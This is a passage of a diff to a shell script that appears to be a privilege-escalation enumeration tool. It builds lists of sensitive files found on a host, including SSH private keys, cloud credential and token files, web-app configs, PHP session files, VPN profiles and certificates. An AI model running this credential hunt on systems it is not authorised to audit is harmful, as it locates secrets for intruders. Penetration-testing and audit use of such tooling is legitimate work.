FIND_PRIVATE=`eval_bckgrd "find /private/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_PGP_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES -O $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_APPLICATIONS=`eval_bckgrd "find /Applications/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` wait # Always wait at the end CONT_THREADS=0 #Reset the threads counter + #GENERATE THE STORAGES OF THE FOUND FILES + PSTORAGE_SYSTEMD=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/lib64|^/.cache|^/bin|^/var|^/etc|^/mnt|^/private|^/usr|^/cdrom|^/opt|^/system|^/snap|^/lib32|^/lib|^/srv|^/run|^/applications|^/tmp|^/sys|^/media|^/systemd|^/sbin|^$GREPHOMESEARCH" | grep -E ".*\.service$" | sort | uniq | head -n 70) + PSTORAGE_TIMER=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/lib64|^/.cache|^/bin|^/var|^/etc|^/mnt|^/private|^/usr|^/cdrom|^/opt|^/system|^/snap|^/lib32|^/lib|^/srv|^/run|^/applications|^/tmp|^/sys|^/media|^/systemd|^/sbin|^$GREPHOMESEARCH" | grep -E ".*\.timer$" | sort | uniq | head -n 70) + PSTORAGE_SOCKET=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/lib64|^/.cache|^/bin|^/var|^/etc|^/mnt|^/private|^/usr|^/cdrom|^/opt|^/system|^/snap|^/lib32|^/lib|^/srv|^/run|^/applications|^/tmp|^/sys|^/media|^/systemd|^/sbin|^$GREPHOMESEARCH" | grep -E ".*\.socket$" | sort | uniq | head -n 70) + PSTORAGE_DBUS=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70) + PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "mysql$" | sort | uniq | head -n 70) + PSTORAGE_POSTGRESQL=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70) + PSTORAGE_APACHE=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "sites-enabled$|000-default$" | sort | uniq | head -n 70) + PSTORAGE_PHPCOOKIES=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/tmp|^/var|^/mnt" | grep -E "sess_.*$" | sort | uniq | head -n 70) + PSTORAGE_PHP_FILES=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_WORDPRESS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) + PSTORAGE_DRUPAL=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E '/default/settings.php' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "settings\.php$" | sort | uniq | head -n 70) + PSTORAGE_MOODLE=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E 'moodle/config.php' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "config\.php$" | sort | uniq | head -n 70) + PSTORAGE_TOMCAT=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) + PSTORAGE_MONGO=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) + PSTORAGE_SUPERVISORD=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) + PSTORAGE_CESI=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) + PSTORAGE_RSYNC=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) + PSTORAGE_HOSTAPD=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_VNC=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) + PSTORAGE_LDAP=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "ldap$" | sort | uniq | head -n 70) + PSTORAGE_OPEN_VPN=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) + PSTORAGE_SSH_FILES=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70) + PSTORAGE_CERTSB4=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) + PSTORAGE_CERTSBIN=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) + PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) + PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70) + PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^$GREPHOMESEARCH|^/usr" | grep -E "ssh.*config$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70) + PSTORAGE_KERBEROS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E 